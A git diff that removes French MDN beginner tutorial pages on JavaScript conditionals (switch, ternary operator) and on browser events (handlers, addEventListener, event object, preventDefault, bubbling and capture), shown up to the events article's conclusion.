-      para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
-      break;
-    case 'snowing':
-      para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
-      break;
-    case 'overcast':
-      para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
-      break;
-    default:
-      para.textContent = '';
-  }
-}
- -

{{ EmbedLiveSample('Un_exemple_de_switch', '100%', 100) }}

- -
-

Note : Vous trouverez également cet exemple sur GitHub (voyez‑le en cours d'exécution ici aussi.)

-
- -

Opérateur ternaire

- -

Voici une dernière syntaxe que nous souhaitons vous présenter avant de nous amuser avec quelques exemples. L'opérateur ternaire ou conditionnel est un petit morceau de code qui teste une condition et renvoie une valeur ou expression si elle est true et une autre si elle est false — elle est utile dans certains cas, et occupe moins de place qu'un bloc if...else si votre choix est limité à deux possibilités à choisir via une condition true/false. Voici le pseudo‑code correspondant :

- -
( condition ) ? exécuter ce code : exécuter celui‑ci à la place
- -

Regardons cet exemple simple :

- -
let formuleDePolitesse = ( est_anniversaire ) ? 'Bon anniversaire Mme Smith — nous vous souhaitons une belle journée !' : 'Bonjour Mme Smith.';
- -

Ici, nous avons une variable nommée est_anniversaire — si elle est true, nous adressons à notre hôte un message de « Bon anniversaire » ; si ce n'est pas le cas, c'est-à-dire si est_anniversaire renvoie false, nous disons simplement « Bonjour ».

- -

Exemple opérateur ternaire

- -

L'opérateur ternaire ne sert pas qu'à définir des valeurs de variables ; vous pouvez aussi exécuter des fonctions, ou des lignes de code — ce que vous voulez. Voici un exemple concret de choix de thème où le style du site est déterminé grâce à un opérateur ternaire.

- -
<label for="theme">Select theme: </label>
-<select id="theme">
-  <option value="white">White</option>
-  <option value="black">Black</option>
-</select>
-
-<h1>This is my website</h1>
- -
const select = document.querySelector('select');
-const html = document.querySelector('html');
-document.body.style.padding = '10px';
-
-function update(bgColor, textColor) {
-  html.style.backgroundColor = bgColor;
-  html.style.color = textColor;
-}
-
-select.onchange = function() {
-  ( select.value === 'black' ) ? update('black','white') : update('white','black');
-}
-
- -

{{ EmbedLiveSample('Exemple_opérateur_ternaire', '100%', 300, "", "", "hide-codepen-jsfiddle") }}

- -

Nous mettons un élément {{htmlelement('select')}} pour choisir un thème (noir ou blanc), plus un simple élément {{htmlelement('h1')}} pour afficher un titre de site web. Nous avons aussi une fonction update(), qui prend deux couleurs en paramètre (entrées). La couleur de fond du site est déterminée par la couleur indiquée dans le premier paramètre fourni, et la couleur du texte par le deuxième.

- -

Nous avons également mis un écouteur d'événement onchange qui sert à exécuter une fonction contenant un opérateur ternaire. Il débute par un test de condition — select.value === 'black'. Si le test renvoie true, nous exécutons la fonction update() avec les paramètres blanc et noir : cela signifie que le fond sera noir et le texte blanc. S'il renvoie false, nous exécutons update() avec les paramètres noir et blanc, les couleurs du site seront inversées.

- -
-

Note : Vous trouverez également cet exemple sur GitHub (voyez‑le en cours d'exécution ici aussi.)

-
- -

Apprentissage actif : un calendrier simple

- -

Dans cet exemple nous allons vous aider à finaliser une application de calendrier simple. Dans le code, vous avez :

- - - -

Vous aurez besoin d'écrire une instruction conditionnelle dans la fonction onchange, juste au dessous du commentaire // AJOUTER LA CONDITION ICI. Elle doit :

- -
    -
  1. Noter le mois choisi (enregistré dans la variable choice. Ce doit être la valeur de l'élément <select> après un changement, "Janvier" par exemple).
    2. -
  2. Faire en sorte que la variable nommée days soit égale au nombre de jours du mois sélectionné. Pour ce faire, examinez le nombre de jours dans chaque mois de l'année. Vous pouvez ignorer les années bissextiles pour les besoins de cet exemple.
    3. -
- -

Conseils :

- - - -

Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton "Réinitialiser". Si vous êtes vraiment bloqué, pressez "Voir la solution".

- - - -

{{ EmbedLiveSample('Playable_code', '100%', 1110, "", "", "hide-codepen-jsfiddle") }}

- -

Activité : plus de choix de couleurs !

- -

Nous allons reprendre l'exemple de l'opérateur ternaire vu plus haut et transformer cet opérateur ternaire en une directive switch  qui nous permettra une plus grande variété de choix pour le site web tout simple. Voyez l'élément {{htmlelement("select")}} — cette fois, il n'y a pas deux options de thème, mais cinq. Il vous faut ajouter une directive switch au dessous du commentaire  // AJOUT D'UNE DIRECTIVE SWITCH :

- - - -

Si vous faites une erreur, vous pouvez toujours réinitialiser l'exemple avec le bouton « Réinitialiser ». Si vous êtes vraiment bloqué, pressez « Voir la solution ».

- - - -

{{ EmbedLiveSample('Playable_code_2', '100%', 850) }}

- -

Conclusion

- -

C'est tout ce qu'il est nécessaire de connaître à propos des structures conditionnelles en JavaScript pour le moment ! Je pense que vous avez assurément compris ces concepts et travaillé les exemples aisément ; s'il y a quelque chose que vous n'avez pas compris, relisez cet article à nouveau, ou bien contactez‑nous pour une aide.

- -

Voir aussi

- - - -

{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}}

- -

Dans ce module

- - diff --git "a/files/fr/apprendre/javascript/building_blocks/ev\303\250nements/index.html" "b/files/fr/apprendre/javascript/building_blocks/ev\303\250nements/index.html" deleted file mode 100644 index 10f0118ecf..0000000000 --- "a/files/fr/apprendre/javascript/building_blocks/ev\303\250nements/index.html" +++ /dev/null @@ -1,585 +0,0 @@ ---- -title: Introduction aux évènements -slug: Apprendre/JavaScript/Building_blocks/Evènements -tags: - - Article - - Codage - - Débutant - - Evènement - - Gestionnaire d'événement - - Guide - - JavaScript -translation_of: Learn/JavaScript/Building_blocks/Events ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}
- -

Les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez et dont le système vous informe afin que vous puissiez y répondre d'une manière ou d'une autre si vous le souhaitez. Par exemple, si l'utilisateur clique sur un bouton d'une page Web, vous pouvez répondre à cette action en affichant une boîte d'information. Dans cet article, nous allons discuter de quelques concepts importants concernant les événements, et regarder comment ils fonctionnent dans les navigateurs. Ce ne sera pas une étude exhaustive; mais seulement ce que vous devez savoir à ce stade.

- - - - - - - - - - - - -
Prérequis:Connaissances de base en informatique, une compréhension de base de HTML et CSS, Premiers pas en JavaScript.
Objectif:Comprendre la théorie fondamentale des événements, comment ils fonctionnent dans les navigateurs et comment les événements peuvent différer dans différents environnements de programmation.
- -

Une série d'événements heureux

- -

Comme mentionné ci-dessus, les événements sont des actions ou des occurrences qui se produisent dans le système que vous programmez — le système déclenche un signal quelconque lorsqu'un événement se produit, et fournit également un mécanisme par lequel une  action est exécutée automatiquement (p.ex. un code en cours d'exécution) lorsque l'événement se produit. Par exemple, dans un aéroport, lorsque la piste est libre pour qu'un avion décolle, un signal est communiqué au pilote et, par conséquent, il commence à piloter l'avion.

- -

- -

Dans le cas du Web, les événements sont déclenchés à l'intérieur de la fenêtre du navigateur et tendent à être rattachés à un élément spécifique qui s'y trouve - il peut s'agir d'un élément unique, d'un ensemble d'éléments, du document HTML chargé dans l'onglet en cours ou toute la fenêtre du navigateur. Il y a beaucoup de types différents d'événements qui peuvent se produire, par exemple :

- - - -

Vous vous en rendrez compte (notamment en jetant un coup d'œil à la section MDN Référence des événements ), il y a beaucoup d'événements auxquels vous pouvez répondre.
-
- Chaque événement disponible a un gestionnaire d'événement, qui est un bloc de code (généralement une fonction JavaScript définie par l'utilisateur) qui sera exécuté lorsque l'événement se déclenchera. Lorsqu'un tel bloc de code est défini pour être exécuté en réponse à un déclenchement d'événement, nous disons que nous enregistrons un gestionnaire d'événements. Notez que les gestionnaires d'événements sont parfois appelés écouteurs d'événements - ils sont à peu près interchangeables pour ce qui nous concerne, même si à la rigueur, ils fonctionnent ensemble. L'écouteur écoute l'événement qui se produit et le gestionnaire est le code qui est exécuté en réponse à ce qui se passe.

- -
-

Note: il est important de noter que les événements web ne font pas partie du langage du noyau JavaScript — ils sont définis comme faisant partie des APIs JavaScript intégrées du navigateur

-
- -

Un exemple simple

- -

Regardons un exemple simple pour expliquer ce que nous entendons ici. Vous avez déjà utilisé des événements et des gestionnaires d'événements dans de nombreux exemples de ce cours, mais récapitulons simplement pour consolider nos connaissances. Dans l'exemple suivant, nous avons un {{htmlelement ("bouton")}} unique, qui, lorsqu'il est pressé, fera passer l'arrière-plan à une couleur aléatoire:

- -
<button>Change color</button>
- - - -

Le JavaScript ressemblera à ça :

- -
var btn = document.querySelector('button');
-
-function random(number) {
-  return Math.floor(Math.random()*(number+1));
-}
-
-btn.onclick = function() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  document.body.style.backgroundColor = rndCol;
-}
- -

 

- -

Dans ce code, nous stockons une référence au bouton dans une variable appelée btn, en utilisant la fonction {{domxref ("Document.querySelector ()")}}. Nous définissons également une fonction qui renvoie un nombre aléatoire. La troisième partie du code est le gestionnaire d'événement. La variable btn pointe sur un élément <button> , et ce type d'objet a un certain nombre d'événements qui peuvent être déclenchés, et par conséquent, des gestionnaires d'événements sont disponibles. Nous sommes à l'écoute du déclenchement de l'événement click, en définissant la propriété onclick   du gestionnaire d'événements comme une fonction anonyme contenant du code qui génère une couleur RVB aléatoire et lui affecte la couleur d'arrière-plan <body> .
-
- Ce code sera maintenant exécuté chaque fois que l'événement "click" se déclenchera sur l'élément <button>, c'est-à-dire chaque fois qu'un utilisateur cliquera dessus.

- -

Vous pourrez voir cet exemple s'afficher sur toute la page en cliquant sur ce lien.

- -

 

- -

Ce ne sont pas que des pages web

- -

Une autre chose qui mérite d'être mentionnée à ce stade est que les événements ne sont pas particuliers à JavaScript - la plupart des langages de programmation ont un certain type de modèle d'événement, et la façon dont cela fonctionne diffère souvent de celle de JavaScript. En fait, le modèle d'événement en JavaScript pour les pages Web diffère du modèle d'événement pour JavaScript tel qu'il est utilisé dans d'autres environnements.

- -

Par exemple, Node.js est un runtime JavaScript très populaire qui permet aux développeurs d'utiliser JavaScript pour créer des applications réseau et serveur. Le modèle Node.js event model s'appuie sur des écouteurs pour écouter les événements et des émetteurs pour générer des événements périodiquement — bien qu'il ne le semble pas à première vue, le code est très différent, en particulier lorsqu'il utilise des fonctions comme on() pour enregistrer un écouteur d'événement, et once() pour enregistrer un écouteur d'événement qui s'efface après sa première exécution. le document HTTP connect event docs propose un bon exemple d'utilisation.

- -

Comme autre exemple, vous pouvez désormais utiliser JavaScript pour créer des extensions inter-navigateurs — comme améliorations de la fonctionnalité du navigateur — à l'aide d'une technologie appelée WebExtensions. Le modèle d'événement est similaire au modèle d'événements Web, mais un peu différent — les écouteurs d'événements sont sensibles à la casse (p.ex.onMessage plutôt que onmessage), et doivent êtres combinés à la fonction addListener. Jetez un oeil à la page runtime.onMessage page pour voir un exemple.

- -

Vous n'avez pas besoin de comprendre quoi que ce soit à propos d'autres environnements de ce type à ce stade de votre apprentissage; nous voulions juste préciser que les événements peuvent différer selon les environnements de programmation.

- -

De quelle manière utiliser les événements Web ?

- -

Il existe plusieurs façons d'ajouter un code d'écouteur d'événement aux pages Web afin qu'il soit exécuté lorsque l'événement associé se déclenche. Dans cette section, nous allons passer en revue les différents mécanismes et discuter de ceux que vous devriez utiliser.

- -

Les propriétés du gestionnaire d'événement

- -

Voici les propriétés qui existent pour contenir le code du gestionnaire d'événement que nous avons vu le plus fréquemment pendant le cours. Revenons à l'exemple ci-dessus :

- -
var btn = document.querySelector('button');
-
-btn.onclick = function() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  document.body.style.backgroundColor = rndCol;
-}
- -

La propriété onclick est la propriété du gestionnaire d'événement utilisée dans cette situation. C'est essentiellement une propriété comme les autres disponibles sur le bouton (p.ex. btn.textContent, ou btn.style), mais d'un type spécial — lorsque vous la définissez comme étant égale à du code, ce code est exécuté lorsque l'événement se déclenche sur le bouton.

- -

Vous pouvez également définir la propriété du gestionnaire d'événement comme étant égale au nom d'une fonction définie (comme nous l'avons vu dans Construire votre propre fonction). Le code suivant fonctionnera tout pareil:

- -
var btn = document.querySelector('button');
-
-function bgChange() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  document.body.style.backgroundColor = rndCol;
-}
-
-btn.onclick = bgChange;
- -

De nombreuses propriétés de gestionnaire d'événement sont disponibles. Faisons une expérience.

- -

Tout d'abord, faites une copie locale de random-color-eventhandlerproperty.html, et ouvrez-le dans votre navigateur. C'est juste une copie de l'exemple simple de couleur aléatoire avec lequel nous avons déjà joué dans cet article. Maintenant, changez btn.onclick pour lui attribuer, tour à tour, les différentes valeurs qui suivent, et observez le résultat:

- - - -

Certains événements sont très généraux et disponibles presque partout (par exemple un gestionnaire onclick peut être enregistré sur presque n'importe quel élément), alors que certains sont plus spécifiques et seulement utiles dans certaines situations (par exemple, il est logique d'utiliser onplay seulement sur des éléments spécifiques, comme des {{htmlelement("video")}}).

- -

Les gestionnaires d'événements en ligne : ne les utilisez pas !

- -

Vous pourriez également voir un motif comme celui-ci dans votre code:

- -
<button onclick="bgChange()">Press me</button>
-
- -
function bgChange() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  document.body.style.backgroundColor = rndCol;
-}
- -
-

Note: Vous trouverez le code source complet de cet exemple sur GitHub (également le voir s'exécuter).

-
- -

La première méthode d'enregistrement des gestionnaires d'événements trouvés sur le Web impliquait des attributs HTML du gestionnaire d'événement (c'est-à-dire les gestionnaires d'événements en ligne) comme celui présenté ci-dessus — la valeur de l'attribut est littéralement le code JavaScript que vous souhaitez exécuter lorsque l'événement survient. L'exemple ci-dessus appelle une fonction définie dans un élément {{htmlelement("script")}} sur la même page, mais vous pouvez également insérer du JavaScript directement dans l'attribut comme par exemple :

- -
<button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button>
- -

Vous trouverez des équivalents d'attributs HTML pour la plupart des propriétés du gestionnaire d'événement; cependant, vous ne devriez pas les utiliser — ils sont considérés comme une mauvaise pratique. Il peut sembler facile d'utiliser un attribut de gestionnaire d'événement si vous voulez avancer rapidement, mais ils deviennent rapidement ingérables et inefficaces.
-
- Pour commencer, ce n'est pas une bonne idée de mélanger votre HTML et votre JavaScript, car il deviennent difficile à analyser — garder votre JavaScript au même endroit est préférable; s'il se trouve dans un fichier séparé, vous pourrez l'appliquer à plusieurs documents HTML.

- -

Même dans un fichier unique, les gestionnaires d'événement en ligne ne sont pas une bonne idée. Un bouton ça va, mais que faire si vous avez 100 boutons ? Vous devez ajouter 100 attributs au fichier; la maintenance se transformerait très vite en un cauchemar. Avec JavaScript, vous pouvez facilement ajouter une fonction de gestionnaire d'événement à tous les boutons de la page, peu importe leur nombre, en utilisant quelque chose comme ceci :

- -
var buttons = document.querySelectorAll('button');
-
-for (var i = 0; i < buttons.length; i++) {
-  buttons[i].onclick = bgChange;
-}
- -
-

Note: Séparer votre logique de programmation de votre contenu rend également votre site plus convivial pour les moteurs de recherche.

-
- -

addEventListener() et removeEventListener()

- -

Le dernier type de mécanisme d'événement est défini dans le Document Object Model (DOM) Level 2 Events , qui fournit aux navigateurs une nouvelle fonction: addEventListener(). Cela fonctionne de la même manière que les propriétés du gestionnaire d'événement, mais la syntaxe est évidemment différente. Nous pourrions réécrire notre exemple de couleur aléatoire comme ceci:

- -
var btn = document.querySelector('button');
-
-function bgChange() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  document.body.style.backgroundColor = rndCol;
-}
-
-btn.addEventListener('click', bgChange);
- -
-

Note: Vous trouverez le code source complet de cet exemple sur GitHub (également le voir s'exécuter).

-
- -

Dans la fonction addEventListener() , nous spécifions deux paramètres - le nom de l'événement pour lequel nous voulons enregistrer ce gestionnaire, et le code qui comprend la fonction du gestionnaire que nous voulons exécuter en réponse. Notez qu'il est parfaitement approprié de placer tout le code dans la fonction addEventListener(), dans une fonction anonyme, comme ceci:

- -
btn.addEventListener('click', function() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  document.body.style.backgroundColor = rndCol;
-});
- -

Ce mécanisme a certains avantages par rapport aux mécanismes plus anciens discutés précédemment. Pour commencer, il existe une fonction réciproque, removeEventListener(), qui supprime un écouteur ajouté précédemment. Par exemple, cela supprimerait l'écouteur du premier bloc de code de cette section:

- -
btn.removeEventListener('click', bgChange);
- -

Ceci n'a pas beaucoup de sens pour les programmes simples et de petite taille, mais pour les programmes plus grands et plus complexes, cela peut améliorer l'efficacité, de nettoyer les anciens gestionnaires d'événements inutilisés. De plus, par exemple, cela vous permet d'avoir un même bouton qui effectue différentes actions dans des circonstances différentes - tout ce que vous avez à faire est d'ajouter / supprimer des gestionnaires d'événements convenablement.
-
- D'autre part, vous pouvez également enregistrer plusieurs gestionnaires pour le même écouteur. Les deux gestionnaires suivants ne seraient pas appliqués:

- -
myElement.onclick = functionA;
-myElement.onclick = functionB;
- -

Comme la deuxième ligne remplacerait la valeur de onclick définie par le premier. Cependant, ceci fonctionnerait:

- -
myElement.addEventListener('click', functionA);
-myElement.addEventListener('click', functionB);
- -

Les deux fonctions seraient maintenant exécutées lorsque l'élément est cliqué.
-
- En outre, il existe un certain nombre d'autres fonctionnalités et options puissantes disponibles avec ce mécanisme d'événement. Celles-ci sont un peu hors de propos pour cet article, mais si vous voulez en savoir plus sur elles, jetez un oeil aux pages de référence de  addEventListener() et removeEventListener().

- -

Quel mécanisme devrais-je utiliser ?

- -

Parmi les trois mécanismes, vous ne devriez certainement pas utiliser les attributs du gestionnaire d'événement HTML - ceux-ci sont obsolètes et constituent une mauvaise pratique, comme mentionné ci-dessus.
-
- Les deux autres sont relativement interchangeables, au moins pour des utilisations simples:
-  

- - - -

Les principaux avantages du troisième mécanisme : vous pouvez supprimer le code du gestionnaire d'événement si nécessaire en utilisant removeEventListener(), et vous pouvez ajouter plusieurs écouteurs du même type aux éléments si nécessaire. Par exemple, vous pouvez appeler addEventListener('click', function() { ... }) sur un élément plusieurs fois, avec différentes fonctions spécifiées dans le deuxième argument. Cela est impossible avec les propriétés du gestionnaire d'événement car toute tentative ultérieure de définition d'une propriété remplacera les propriétés précédentes, par exemple:

- -
element.onclick = function1;
-element.onclick = function2;
-etc.
- -
-

Note: Si vous êtes appelé à prendre en charge des navigateurs plus anciens qu'Internet Explorer 8 dans votre travail, vous risquez de rencontrer des difficultés, car ces anciens navigateurs utilisent des modèles d'événements différents des nouveaux navigateurs. Mais n'ayez crainte, la plupart des bibliothèques JavaScript (par exemple jQuery) ont des fonctions intégrées qui permettent d'éliminer les différences entre navigateurs. Ne vous en faites pas trop à ce stade de votre parcours d'apprentissage.

-
- -

D'autres concepts liés aux événements

- -

Dans cette section, nous aborderons brièvement quelques concepts avancés relatifs aux événements. Il n'est pas important de les comprendre entièrement à ce stade, mais cela pourra servir à expliquer certains modèles de code que vous rencontrerez probablement de temps en temps.

- -

L'objet événement

- -

Parfois, dans une fonction de gestionnaire d'événement, vous pouvez voir un paramètre spécifié avec un nom tel que event, evt, ou simplement e . C'est ce qu'on appelle l'objet événement, qui est automatiquement transmis aux gestionnaires d'événements pour fournir des fonctionnalités et des informations supplémentaires. Par exemple, réécrivons légèrement notre exemple de couleur aléatoire:

- -
function bgChange(e) {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  e.target.style.backgroundColor = rndCol;
-  console.log(e);
-}
-
-btn.addEventListener('click', bgChange);
- -
-

Note: Vous trouverez le code source complet de cet exemple sur GitHub (également le voir s'exécuter).

-
- -

Ici, vous pouvez voir que nous incluons un objet événement, e, dans la fonction, et dans la fonction définissant un style de couleur d'arrière-plan sur e.target - qui est le bouton lui-même. La propriété target de l'objet événement est toujours une référence à l'élément sur lequel l'événement vient de se produire. Donc, dans cet exemple, nous définissons une couleur d'arrière-plan aléatoire sur le bouton, pas sur la page.

- -
-

Note: Vous pouvez utiliser n'importe quel nom pour l'objet d'événement - il vous suffit de choisir un nom que vous pouvez ensuite utiliser pour le référencer dans la fonction du gestionnaire d'événements. e/evt/event sont les plus couramment utilisés par les développeurs car ils sont courts et faciles à retenir. C'est toujours bon de s'en tenir à une norme.

-
- -

e.targetest incroyablement utile lorsque vous voulez définir le même gestionnaire d'événements sur plusieurs éléments et affecter une action à chacun d'entre eux quand un événement se produit sur eux. Vous pourriez, par exemple, avoir un ensemble de 16 tuiles qui disparaissent quand on clique dessus. Il est utile de toujours pouvoir affecter une action à  e.target, plutôt que de devoir la sélectionner de manière plus difficile. Dans l'exemple suivant (voir useful-eventtarget.html pour le code source ; et ici pour le voir s'exécuter), nous avons créé 16 éléments {{htmlelement("div")}} avec JavaScript. Quand nous les sélectionnons tous en utilisant {{domxref("document.querySelectorAll()")}}, puis que nous faisons une boucle sur chacun d'eux, en ajoutant un gestionnaire onclick à chacun de sorte qu'une couleur aléatoire est appliquée lorsque l'élément est cliqué:

- -
var divs = document.querySelectorAll('div');
-
-for (var i = 0; i < divs.length; i++) {
-  divs[i].onclick = function(e) {
-    e.target.style.backgroundColor = bgChange();
-  }
-}
- -

Le résultat est le suivant (essayez de cliquer dessus - amusez-vous):

- - - -

{{ EmbedLiveSample('Hidden_example', '100%', 400, "", "", "hide-codepen-jsfiddle") }}

- -

La plupart des gestionnaires d'événements que vous rencontrerez ne disposent que d'un ensemble standard de propriétés et de fonctions (méthodes) disponibles sur l'objet événement (voir la liste complète sur {{domxref("Event")}} ). Cependant, certains gestionnaires plus avancés ajoutent des propriétés spécialisées contenant des données supplémentaires dont ils ont besoin pour fonctionner. Le Media Recorder API, par exemple, a un événement dataavailable , qui se déclenche quand un fichier audio ou vidéo a été enregistré et est disponible pour être utilisé (par exemple, pour l'enregistrer ou le lire). L'objet événement du gestionnaire ondataavailable correspondant dispose d'une propriété data contenant les données audio ou vidéo enregistrées pour vous permettre d'y accéder et de l'utiliser.

- -

Éviter le comportement par défaut

- -

Parfois, vous rencontrerez une situation où vous voudrez arrêter un événement qui adopte son comportement par défaut. L'exemple le plus courant est celui d'un formulaire Web, par exemple un formulaire d'inscription personnalisé. Lorsque vous remplissez les détails et appuyez sur le bouton "Soumettre", le comportement naturel consiste à soumettre les données à une page spécifiée sur le serveur pour traitement, et le navigateur redirige vers une page de "message de réussite" quelconque (ou la même page, si une autre n'est pas spécifiée.).
-
- Le problème survient lorsque l'utilisateur n'a pas soumis les données correctement. En tant que développeur, vous devez arrêter la soumission au serveur et lui envoyer un message d'erreur indiquant ce qui ne va pas et ce qui doit être fait pour corriger les erreurs. Certains navigateurs prennent en charge les fonctions de validation automatique des données de formulaire, mais comme beaucoup ne le font pas, il est conseillé de ne pas vous y fier et d'implémenter vos propres contrôles de validation. Regardons un exemple simple.
-
- Tout d'abord, un simple formulaire HTML qui vous oblige à entrer votre nom et votre prénom:

- -
<form>
-  <div>
-    <label for="fname">First name: </label>
-    <input id="fname" type="text">
-  </div>
-  <div>
-    <label for="lname">Last name: </label>
-    <input id="lname" type="text">
-  </div>
-  <div>
-     <input id="submit" type="submit">
-  </div>
-</form>
-<p></p>
- - - -

Maintenant un peu de JavaScript - ici nous implémentons une vérification très simple dans un gestionnaire d'événement onsubmit (l'événement submit est renvoyé sur un formulaire quand il est soumis) qui vérifie si les champs de texte sont vides. Si c'est le cas, nous appelons la fonction preventDefault() sur l'objet événement - ce qui stoppe la soumission du formulaire - puis nous affichons un message d'erreur dans le paragraphe sous notre formulaire pour indiquer à l'utilisateur ce qui ne va pas :

- -
var form = document.querySelector('form');
-var fname = document.getElementById('fname');
-var lname = document.getElementById('lname');
-var submit = document.getElementById('submit');
-var para = document.querySelector('p');
-
-form.onsubmit = function(e) {
-  if (fname.value === '' || lname.value === '') {
-    e.preventDefault();
-    para.textContent = 'You need to fill in both names!';
-  }
-}
- -

Évidemment, cette validation est assez faible - cela n'empêcherait pas l'utilisateur de valider le formulaire avec des espaces ou des nombres entrés dans les champs, par exemple - mais cela est acceptable. Le résultat est le suivant :

- -

{{ EmbedLiveSample('Preventing_default_behavior', '100%', 140, "", "", "hide-codepen-jsfiddle") }}

- -
-

Note: pour le code source, voir preventdefault-validation.html (et le voir s'exécuter ici.)

-
- -

Le bouillonnement et la capture

- -

Le dernier sujet à aborder ici est quelque chose que vous ne rencontrerez pas souvent, mais cela peut être une vraie difficulté si vous ne le comprenez pas. Le bouillonnement et la capture d'événements sont deux mécanismes qui décrivent ce qui se passe lorsque deux gestionnaires du même type d'événement sont activés sur un même élément. Regardons un exemple pour faciliter cela - ouvrez l'exemple show-video-box.html dans un nouvel onglet (et le code source dans un autre). C'est également disponible en live ci-dessous.

- - - -

{{ EmbedLiveSample('Hidden_video_example', '100%', 500, "", "", "hide-codepen-jsfiddle") }}

- -

Ceci est un exemple assez simple qui montre et cache une balise {{htmlelement("div")}} avec une balise {{htmlelement("video")}} à l'intérieur:

- -
<button>Display video</button>
-
-<div class="hidden">
-  <video>
-    <source src="rabbit320.mp4" type="video/mp4">
-    <source src="rabbit320.webm" type="video/webm">
-    <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
-  </video>
-</div>
- -

Quand le {{htmlelement("button")}} est cliqué, la vidéo est affichée, en changeant l'attribut de classe sur la balise <div> de hidden à showing ( le CSS de l'exemple contient ces deux classes, qui positionnent respectivement la boîte hors de l'écran et sur l'écran.) :

- -
btn.onclick = function() {
-  videoBox.setAttribute('class', 'showing');
-}
- -

Nous ajoutons ensuite quelques gestionnaires d'événements onclick supplémentaires - le premier à <div> et le second à <video>. L'idée est que lorsque l'on clique sur la zone du <div> en dehors de la vidéo, la boîte doit être masquée à nouveau; Lorsque la vidéo elle-même est cliquée, la vidéo devrait commencer à jouer.

- -
videoBox.onclick = function() {
-  videoBox.setAttribute('class', 'hidden');
-};
-
-video.onclick = function() {
-  video.play();
-};
- -

Mais il y a un problème - actuellement, lorsque vous cliquez sur la vidéo, elle commence à jouer, mais cela entraîne le fait que <div> est également caché en même temps. C'est parce que la vidéo est dans le <div> - elle en fait partie - alors que cliquer sur la vidéo lance les deux gestionnaires d'événements ci-dessus.

- -

Explication du bouillonnement et de la capture

- -

Quand un événement se déclenche sur un élément qui a des éléments parents (p.ex. l'élément {{htmlelement("video")}} dans notre cas), les navigateurs modernes utilisent deux phases différentes: la phase de capture et la phase de bouillonnement.
-
- Dans la phase de capture:

- - - -

Dans la phase de bouillonnement, l'opposé exact se produit:
-
-      Le navigateur vérifie si l'élément qui a été cliqué a un gestionnaire d'événement onclick enregistré dans la phase de bouillonnement et l'exécute si c'est le cas.
-      Ensuite, il passe à l'élément ancêtre immédiat et fait la même chose, puis le suivant, et ainsi de suite jusqu'à ce qu'il atteigne l'élément <html>.

- -

- -

(Cliquez sur l'image pour l'agrandir et la voir traduite en français.)

- -

Dans les navigateurs modernes, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement. Ainsi, dans notre exemple actuel, lorsque vous cliquez sur la vidéo, l'événement click fait un bouillonnement de l'élément <video> vers l'élément <html>. Comme ceci :

- - - -

Régler le problème avec stopPropagation()

- -

C'est un comportement ennuyeux, mais il y a un moyen de l'éviter ! L'objet événement standard dispose d'une fonction appelée stopPropagation(), qui, lorsqu'il est invoqué sur l'objet événement d'un gestionnaire, fait en sorte que le gestionnaire soit exécuté, mais l'événement ne remonte pas plus haut dans la chaîne, et donc plus aucun autre gestionnaire ne sera exécuté.
-
- Nous pouvons donc résoudre notre problème actuel en changeant la fonction du deuxième gestionnaire dans le bloc de code précédent comme ceci:

- -
video.onclick = function(e) {
-  e.stopPropagation();
-  video.play();
-};
- -

Vous pouvez faire une copie locale du code source show-video-box.html et le modifier vous-même ou regarder le résultat ici :  show-video-box-fixed.html (ou voir le code source).

- -
-

Note: Pourquoi s'embêter à capturer et bouillonner ? Eh bien, aux heures sombres où les navigateurs étaien peu compatibles entre eux qu'ils ne le sont aujourd'hui, Netscape n'utilisait que la capture d'événements, et Internet Explorer n'utilisait que les bouillonnements. Quand le W3C a décidé d'essayer de normaliser le comportement et de parvenir à un consensus, ils en sont arrivés à ce système qui inclue les deux, qui est celui implémenté dans les navigateurs modernes.

-
- -
-

Note: Comme mentionné ci-dessus, par défaut, tous les gestionnaires d'événements sont enregistrés dans la phase de bouillonnement, ce qui est plus logique la plupart du temps. Si vous voulez vraiment enregistrer un événement dans la phase de capture, vous pouvez le faire en enregistrant votre gestionnaire avec addEventListener(), et en positionnant la troisième propriété, qui est optionnelle, surtrue.

-
- -

Délégation d'événement

- -

Le bouillonnement nous permet également de tirer parti de la délégation d'événements - ce concept repose sur le fait que si vous voulez exécuter du code lorsque vous cliquez sur l'un des nombreux éléments enfants, vous pouvez définir l'écouteur d'événement sur leur parent et ainsi leur répercuter les événement, plutôt que de devoir définir l'écouteur d'événement sur chaque enfant individuellement.
-
- Un bon exemple est une série d'éléments de liste - si vous voulez que chacun d'eux fasse apparaître un message lorsque vous cliquez dessus, vous pouvez définir l'écouteur d'événement click sur la balise parente <ul>, et il apparaîtra sur les éléments de la liste.

- -

Ce concept est expliqué plus loin sur le blog de David Walsh, avec de multiples exemples - voir How JavaScript Event Delegation Works.

- -

Conclusion

- -

Vous devriez maintenant maîtriser tout ce que vous devez savoir sur les événements Web à ce stade de votre apprentissage. Comme mentionné ci-dessus, les événements ne font pas vraiment partie du langage du noyau JavaScript principal - ils sont définis dans les API Web du navigateur.
-
